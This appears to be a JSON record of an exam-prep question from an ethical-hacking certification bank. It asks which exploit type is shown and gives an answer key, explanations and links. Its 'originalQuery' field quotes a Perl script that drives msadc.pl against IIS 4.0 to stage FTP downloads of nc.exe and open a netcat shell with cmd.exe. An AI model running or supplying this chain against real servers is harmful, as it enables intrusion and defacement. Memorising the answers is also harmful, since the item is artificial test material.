{
  "query": "Which exploit type uses a scripted sequence that chains multiple tools and steps such as creating temporary credential files, performing FTP transfers, and invoking netcat to spawn a remote shell?",
  "options": [
    {
      "text": "Remote code execution exploit",
      "explanation": "This exploit runs arbitrary code on a target often through a single vulnerability rather than a multistep script.",
      "correct": false,
      "selected": false
    },
    {
      "text": "Chained exploit",
      "explanation": "This technique chains multiple tools and steps such as temporary credential files FTP transfers and invoking netcat to obtain a shell.",
      "correct": true,
      "selected": false
    },
    {
      "text": "Buffer overflow exploit",
      "explanation": "This exploit overflows a program buffer to corrupt memory and potentially execute code directly.",
      "correct": false,
      "selected": false
    }
  ],
  "answer": "<p>The correct answer is <b>Chained exploit</b>. That phrase describes an exploit that uses a scripted sequence chaining multiple tools and steps such as writing temporary credential files performing FTP transfers and invoking netcat to spawn a remote shell.</p><p>Chained exploits automate and link distinct actions so an attacker can move from initial access through staging to remote command execution without manual intervention at each step. The scenario in the question describes exactly that kind of scripted multi step workflow which is the defining characteristic of a <b>Chained exploit</b>.</p><p>An <i>Remote code execution exploit</i> refers to a vulnerability that allows arbitrary code to run on a target host. That term focuses on the ability to execute code via a flaw and not on a scripted multi tool sequence. It can be used within a chain but it does not by itself describe the multi step chaining described in the question.</p><p>A <i>Buffer overflow exploit</i> is a specific technique that corrupts memory to gain control of execution flow. It is a class of vulnerability and exploitation method rather than an automated sequence that chains multiple tools and transfers. A buffer overflow might be one component of a larger chain but it does not match the scripted chaining behavior asked about here.</p>",
  "batch_id": "1582",
  "answerCode": "2",
  "type": "multiple-choice",
  "originalQuery": "A penetration tester discovered a web server running IIS 4.0 during their enumeration phase. The tester decided to use the msadc.pl attack script to execute arbitrary commands on the webserver. While the msadc.pl script is effective, and the pentester found it too monotonous to perform extended functions. During further research, the penetration tester found a perl script that runs the following msadc commands: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- system(\"perl msadc.pl -h $host -C \\\"echo $user>>tempfile\\\"\"); system(\"perl msadc.pl -h $host -C \\\"echo $pass>>tempfile\\\"\"); system(\"perl msadc.pl -h $host -C \\\"echo bin>>tempfile\\\"\"); system(\"perl msadc.pl -h $host -C \\\"echo get nc.exe>>tempfile\\\"\"); system(\"perl msadc.pl -h $host -C \\\"echo get hacked.html>>tempfile\\\"\"); (\"perl msadc.pl -h $host -C \\\"echo quit>>tempfile\\\"\"); system(\"perl msadc.pl -h $host -C \\\"ftp \\-s\\:tempfile\\\"\"); $o=; print \"Opening FTP connection...\\n\"; system(\"perl msadc.pl -h $host -C \\\"nc -l -p $port -e cmd.exe\\\"\"); -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Which exploit type is indicated by this script?",
  "originalOptions": "A. Buffer overflow exploit<br/>B. Chained exploit<br/>C. SQL injection exploit<br/>D. Denial of Service exploit",
  "domain": "Reconnaissance Techniques for Ethical Hacking",
  "hasImage": false,
  "queryImage": "",
  "queryImages": [],
  "allImages": [],
  "hasAnyImage": false,
  "deprecatedReference": false,
  "deprecatedMatches": {},
  "hasPre": false,
  "qid": "938s",
  "tip": "<p>When a question mentions multiple automated steps look for keywords like <i>chained</i> or <i>chain</i> and distinguish that concept from a single vulnerability term such as <i>remote code execution</i> or <i>buffer overflow</i>.</p>",
  "references": [
    "<a href=\"https://en.wikipedia.org/wiki/Exploit_chain\">https://en.wikipedia.org/wiki/Exploit_chain</a>",
    "<a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">https://en.wikipedia.org/wiki/Remote_code_execution</a>",
    "<a href=\"https://en.wikipedia.org/wiki/Buffer_overflow\">https://en.wikipedia.org/wiki/Buffer_overflow</a>"
  ],
  "video_url": "https://certificationation.com/videos/others/eccouncil/ethical-hacker/eccouncil-web-server-running-iis-4-0-exam-938.html",
  "url": "https://certificationation.com/questions/others/eccouncil/ethical-hacker/eccouncil-web-server-running-iis-4-0-exam-938.html"
}